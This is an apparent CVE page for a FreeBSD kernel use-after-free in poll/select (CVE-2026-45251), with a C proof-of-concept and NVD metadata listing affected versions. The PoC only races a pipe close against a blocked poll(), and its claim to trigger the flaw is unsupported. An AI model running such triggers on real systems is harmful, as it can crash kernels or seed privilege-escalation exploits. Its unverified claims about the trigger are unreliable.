CVE-2026-45251

/* * PoC for CVE-2026-45251 (FreeBSD Kernel UAF) * This code demonstrates the race condition leading to UAF. * Compile: gcc -o poc_cve202645251 poc_cve202645251.c -lpthread */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <pthread.h> #include <poll.h> #include <fcntl.h> #include <sys/types.h> int pipefd[2]; void *thread_func(void *arg) { struct pollfd fds; fds.fd = pipefd[0]; fds.events = POLLIN; // Thread blocks in poll(2) waiting for the descriptor printf("[Thread] Blocking in poll() call...\n"); int ret = poll(&fds, 1, -1); // Infinite wait // If execution reaches here without crash, the race might have occurred printf("[Thread] Poll returned: %d\n", ret); perror("poll"); return NULL; } int main() { pthread_t tid; // Create a pipe to get file descriptors if (pipe(pipefd) == -1) { perror("pipe"); exit(1); } // Create a thread that will block on the read end of the pipe if (pthread_create(&tid, NULL, thread_func, NULL) != 0) { perror("pthread_create"); exit(1); } // Allow time for the thread to block in the kernel usleep(100000); // 100ms // Close the file descriptor while the thread is blocked // This triggers the kernel to free the object without unlinking the thread printf("[Main] Closing file descriptors to trigger UAF...\n"); close(pipefd[0]); close(pipefd[1]); // Wait for the thread to finish (or crash the kernel) pthread_join(tid, NULL); printf("[Main] Exploit execution finished.\n"); return 0; }

{"cve": {"id": "CVE-2026-45251", "sourceIdentifier": "[email protected]", "published": "2026-05-21T10:16:26.043", "lastModified": "2026-05-21T19:01:22.710", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A file descriptor can be closed while a thread is blocked in a poll(2) or select(2) call waiting for that descriptor. Because the blocked thread does not hold a reference to the underlying object, this closure may result in the object being freed while the thread remains blocked. In this situation, the kernel must remove the blocked thread from the per-object wait queue prior to freeing the object.\n\nIn the case of some file descriptor types, the kernel failed to unlink blocked threads from the object before freeing it. When the blocked thread is subsequently woken, it accesses memory that has already been freed resulting in a use-after-free vulnerability.\n\nThe use-after-free vulnerability may be triggered by an unprivileged local user and can be exploited to obtain superuser privileges."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:-:*:*:*:*:*:*", "matchCriteriaId": "9DC7C54E-58AF-4ADE-84AF-0EF0F325E20E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p1:*:*:*:*:*:*", "matchCriteriaId": "D3D22B8C-36CF-4800-9673-0B0240558BDD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p10:*:*:*:*:*:*", "matchCriteriaId": "7296F5AA-F8C1-4277-A4EE-C2B24073A320"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p11:*:*:*:*:*:*", "matchCriteriaId": "C30E4A9C-0594-4F40-92B3-26CB9AA85AE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p12:*:*:*:*:*:*", "matchCriteriaId": "9F83F91B-587A-433C-99DB-0D63E267FF16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p13:*:*:*:*:*:*", "matchCriteriaId": "44B9C2FC-756E-459F-8E68-C2C2B8C258AC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p2:*:*:*:*:*:*", "matchCriteriaId": "242FA2A8-5D7D-4617-A411-2651FF3A3E4C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p3:*:*:*:*:*:*", "matchCriteriaId": "40573F60-F3B7-4AEC-846A-B08E5B7D9D00"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p4:*:*:*:*:*:*", "matchCriteriaId": "1FB832CE-0A98-44A2-8BAC-CD38A64279B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p5:*:*:*:*:*:*", "matchCriteriaId": "9A785F8E-C218-41AE-8D57-BF06DDAEF7CB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p6:*:*:*:*:*:*", "matchCriteriaId": "C3909FDD-B2A2-45B6-A40B-1D303A717F15"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p7:*:*:*:*:*:*", "matchCriteriaId": "720597A2-F181-46E1-8A0D-097E17ADC4FB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p8:*:*:*:*:*:*", "matchCriteriaId": "DC8A75D0-148A-427A-9783-45477EABED21"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p9:*:*:*:*:*:*", "matchCriteriaId": "F5D39FC9-6DBA-46C8-BB80-A6188E6A8527"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.4:-:*:*:*:*:*:*", "matchCriteriaId": "8F3856BE-666F-4FA1-A6AD-FE179CEBF1E4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.4:p1:*:*:*:*:*:*", "matchCriteriaId": "D9CC0037-3282-42C3-80D8-F6C1D43B9332"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.4:p2:*:*:*:*:*:*", "matchCriteriaId": "1EADA828-3C20-43C0-A0CA-3AC7D7F23DBD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.4:p3:*:*:*:*:*:*", "matchCriteriaId": "53D73FD2-4B06-47D3-BA2A-4363E9DE3565"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.4:p4:*:*:*:*:*:*", "matchCriteriaId": "D726890B-E679-43A9-A211-D5C05BBE3941"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.4:rc1:*:*:*:*:*:*", "matchCriteriaId": "0342A715-E211-4AF6-97ED-32EB9EBB947D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:15.0:-:*:*:*:*:*:*", "matchCriteriaId": "368CFE5D-C5C2-42AF-AAF4-28DFE1A59C3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:15.0:p1:*:*:*:*:*:*", "matchCriteriaId": "AA4AAA57-70A7-4717-ACF2-A253E757FF2C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:15.0:p2:*:*:*:*:*:*", "matchCriteriaId": "E24ABF ... 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